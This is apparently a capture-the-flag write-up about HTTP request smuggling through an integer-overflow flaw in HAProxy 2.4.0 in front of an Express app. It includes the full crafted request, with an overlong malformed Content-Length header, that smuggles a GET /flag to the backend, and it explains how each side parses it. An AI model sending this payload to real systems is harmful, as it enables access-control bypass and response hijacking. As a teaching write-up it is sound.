From the server response headers, we know that HAProxy version 2.4.0 is used in front of an Express application. This version is vulnerable to a HTTP request smuggling vulnerability.
Basically, an integer overflow leads to Content-Length0aaa...aaa: being forwarded to the backend as Content-Length: 0, while a second duplicate Content-Length header is used by HAProxy to determine the length of the request body.
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 26
GET /flag HTTP/1.1
DUMMY:GET / HTTP/1.1
Host: 128.199.3.34:1235
In the above example, HAProxy considers the following to be the first request:
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length: 26
GET /flag HTTP/1.1
DUMMY:
while the second request is the following:
GET / HTTP/1.1
Host: 128.199.3.34:1235
However, when forwarded to the backend, this becomes:
POST /test HTTP/1.1
Host: 128.199.3.34:1235
Content-Length: 0
GET /flag HTTP/1.1
DUMMY:GET / HTTP/1.1
Host: 128.199.3.34:1235
Therefore, the response for the second request will correspond to /flag instead of /.
Due to the way the pipelining works, we have to add some artificial delays when sending the consecutive requests.